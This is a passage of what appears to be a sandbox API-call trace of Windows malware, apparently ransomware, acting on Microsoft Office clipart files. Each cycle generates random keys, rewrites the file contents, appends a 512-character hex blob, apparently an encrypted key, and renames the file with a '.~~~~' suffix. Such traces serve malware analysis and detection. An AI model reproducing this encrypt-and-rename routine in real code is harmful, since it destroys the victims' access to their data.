	[0100.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28626b0 | out: hHeap=0x300000) returned 1
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28616e0
	[0100.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.003] GetLastError () returned 0x0
	[0100.003] GetLastError () returned 0x0
	[0100.003] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.003] GetLastError () returned 0x0
	[0100.003] GetLastError () returned 0x0
	[0100.039] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd654, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.039] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x29ac, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x29ac, lpOverlapped=0x0) returned 1
	[0100.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.040] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.040] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.040] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.040] CloseHandle (hObject=0x120) returned 1
	[0100.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.~~~~")) returned 1
	[0100.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.041] GetLastError () returned 0x0
	[0100.041] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.042] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.042] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.042] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22003234322) returned 1
	[0100.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa552f770, dwHighDateTime=0x1d60e1e)) 
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862720
	[0100.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862720 | out: hHeap=0x300000) returned 1
	[0100.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861cd0
	[0100.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.043] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.043] GetLastError () returned 0x0
	[0100.043] GetLastError () returned 0x0
	[0100.043] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.043] GetLastError () returned 0x0
	[0100.043] GetLastError () returned 0x0
	[0100.126] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffee70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.126] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1190, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x1190, lpOverlapped=0x0) returned 1
	[0100.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.128] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.128] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.128] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.128] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.128] CloseHandle (hObject=0x120) returned 1
	[0100.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.128] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.~~~~")) returned 1
	[0100.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.130] GetLastError () returned 0x0
	[0100.130] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.132] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.132] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.132] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22012254838) returned 1
	[0100.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5613fb0, dwHighDateTime=0x1d60e1e)) 
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28627c8
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28627c8 | out: hHeap=0x300000) returned 1
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861e00
	[0100.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.133] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.133] GetLastError () returned 0x0
	[0100.133] GetLastError () returned 0x0
	[0100.133] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.133] GetLastError () returned 0x0
	[0100.133] GetLastError () returned 0x0
	[0100.203] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe158, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.203] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1ea8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x1ea8, lpOverlapped=0x0) returned 1
	[0100.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.204] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.204] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.205] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.205] CloseHandle (hObject=0x120) returned 1
	[0100.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.~~~~")) returned 1
	[0100.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.206] GetLastError () returned 0x0
	[0100.206] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.207] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.207] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.208] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22019767061) returned 1
	[0100.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa56ac530, dwHighDateTime=0x1d60e1e)) 
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28628a8
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28628a8 | out: hHeap=0x300000) returned 1
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fd68
	[0100.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.208] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.208] GetLastError () returned 0x0
	[0100.208] GetLastError () returned 0x0
	[0100.208] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.208] GetLastError () returned 0x0
	[0100.209] GetLastError () returned 0x0
	[0100.484] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff440, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.484] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0xbc0, lpOverlapped=0x0) returned 1
	[0100.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.485] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.485] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.486] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.486] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.486] CloseHandle (hObject=0x120) returned 1
	[0100.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.~~~~")) returned 1
	[0100.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.487] GetLastError () returned 0x0
	[0100.488] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.497] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.497] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22048702166) returned 1
	[0100.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5959df0, dwHighDateTime=0x1d60e1e)) 
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862c60
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862c60 | out: hHeap=0x300000) returned 1
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864b00
	[0100.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.498] GetLastError () returned 0x0
	[0100.507] GetLastError () returned 0x0
	[0100.507] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.507] GetLastError () returned 0x0
	[0100.508] GetLastError () returned 0x0
	[0100.570] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd37c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.571] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2c84, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x2c84, lpOverlapped=0x0) returned 1
	[0100.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.572] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.572] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.573] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.573] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.573] CloseHandle (hObject=0x120) returned 1
	[0100.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.573] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.~~~~")) returned 1
	[0100.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.575] GetLastError () returned 0x0
	[0100.575] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.576] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.576] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.576] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22056661978) returned 1
	[0100.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5a184d0, dwHighDateTime=0x1d60e1e)) 
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
